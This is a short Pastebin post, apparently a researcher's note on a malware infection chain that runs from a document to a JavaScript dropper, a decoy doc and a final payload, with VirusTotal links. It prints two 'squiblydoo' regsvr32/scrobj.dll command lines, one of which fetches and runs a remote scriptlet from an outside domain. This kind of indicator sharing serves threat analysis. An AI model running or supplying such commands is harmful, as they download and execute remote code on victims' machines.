James_inthe_box

Unknown

Sep 5th, 2017
495
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. Doc -> js file: https://www.virustotal.com/file/a9520a4ff9120a8d1188c838a554fc42e700ac6c99e8f2f70237510a4df0ad72/analysis/1504635925/
  2.  
  3. Drops and displays http://84.200.32.184/aa1.doc
  4.  
  5. squiblydoo:
  6. C:\Windows\System32\regsvr32.exe" /s /n /u /i:https://dns.vision71.kz/mail/x.txt scRoBj.dlL
  7. REgsVR32.eXE /s /n /u /i:"C:/Users/Jonathan/AppData/Roaming/35B00607.txt" SCRobJ.dlL
  8.  
  9. finally drops: https://www.virustotal.com/en/file/dd7639c87f4dfa99b08601cbead7848d9614d84ff0efa685936b881fa27d7331/analysis/1504635933/
Advertisement
Add Comment
Please, Sign In to add comment